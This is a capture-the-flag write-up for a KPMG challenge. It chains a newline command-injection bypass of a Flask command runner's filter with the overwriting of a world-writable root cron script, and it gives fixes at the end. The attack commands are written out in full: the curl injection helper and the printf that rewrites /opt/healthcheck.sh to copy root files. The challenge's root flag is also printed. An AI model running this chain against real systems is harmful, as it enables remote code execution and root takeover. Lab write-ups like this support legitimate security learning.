Healthy Hijack 2: Command Injection + World‑Writable Root Cron
On this page
Root flag: KPMG_CTF{Dq6EGt0BfXXRYTEn_Pe1bbB_s9Ji_m1HE6XEgZogQvWh}
Target: http://kicyber-79c1aa74aff2-healthyhijack-0-0.chals.io Category: Infra / command-injection filter bypass → privilege escalation to root Hint (from KPMG CTF): “Get to root!”
Overview
Part 2 of Healthy Hijack. The deployment is the same vulnerable stack as part 1: a Flask
“Safe Command Runner” with a startswith allowlist + metacharacter blacklist (newline bypass), and
a world-writable root cron script /opt/healthcheck.sh. Only the flag value changed, so the
same two-step chain yields root. (See the Healthy Hijack 1 writeup for the full breakdown.)
Foothold: newline command injection
The app accepts only ping/traceroute/nslookup, checks cmd.startswith(...), and strips
; & | \ $( <, but not \n. A newline after an allowed command runs arbitrary commands as
appuser`:
base="https://kicyber-79c1aa74aff2-healthyhijack-0-0.chals.io"
multi(){ curl -s "$base/run" --data-urlencode \
"cmd=$(printf 'ping -c 1 127.0.0.1\n%s' "$1")" \
| sed -n '/color:#0f0/,/Back/p' | sed 's/<[^>]*>//g' | grep -vE 'ping:|^\s*$|Back'; }
multi 'id' # uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
cat /app/app.py confirms the identical filter:
ALLOWED_COMMANDS = ["ping", "traceroute", "nslookup"]
def is_allowed(cmd): return any(cmd.startswith(c) for c in ALLOWED_COMMANDS)
def sanitize(user_input):
for b in [";", "&", "|", "`", "$(","<"]: user_input = user_input.replace(b, "")
return user_input
Privilege escalation: hijack the root healthcheck
cat /etc/crontab shows /opt/healthcheck.sh executed as root every ~10 s, and it is
world-writable:
multi 'cat /etc/crontab' # * * * * * root /opt/healthcheck.sh (x6, staggered with sleep)
multi 'ls -la /opt/healthcheck.sh' # -rwxrwxrwx 1 root root 58 ... /opt/healthcheck.sh
Overwrite it (the filter allows >) to copy the root flag out and prove root execution:
multi "printf '#!/bin/sh\ncp /root/root.txt /tmp/rf2.txt\nchmod 777 /tmp/rf2.txt\nid > /tmp/who.txt\n' > /opt/healthcheck.sh"
multi 'cat /opt/healthcheck.sh'
# #!/bin/sh
# cp /root/root.txt /tmp/rf2.txt
# chmod 777 /tmp/rf2.txt
# id > /tmp/who.txt
Wait one cron tick, then read the results (the find /tmp -perm /4000 -delete cron only removes
SUID files, so a .txt is safe):
until multi 'cat /tmp/who.txt' | grep -q uid; do sleep 8; done
multi 'cat /tmp/who.txt' # uid=0(root) gid=0(root) groups=0(root)
multi 'cat /tmp/rf2.txt' # KPMG_CTF{Dq6EGt0BfXXRYTEn_Pe1bbB_s9Ji_m1HE6XEgZogQvWh}
Root flag: KPMG_CTF{Dq6EGt0BfXXRYTEn_Pe1bbB_s9Ji_m1HE6XEgZogQvWh}
Why it works / fix
Identical to part 1:
startswithallowlisting + a blacklist that misses\n⇒ newline command injection (RCE as the app user). Fix: no shell, explicit argv, exact-match allowlist, reject control characters.- A root-scheduled script left
-rwxrwxrwx⇒ trivial privesc. Fix:root:root 700/755on anything cron runs as root; never writable by the app user.
Takeaways
- Re-run your part-1 chain on part-2 first: challenge sequels often reuse the same flaw with a new flag.
- Confirm privilege with a side-channel (
id > /tmp/who.txt) so you can distinguish “flag is elsewhere” from “my payload never ran as root.”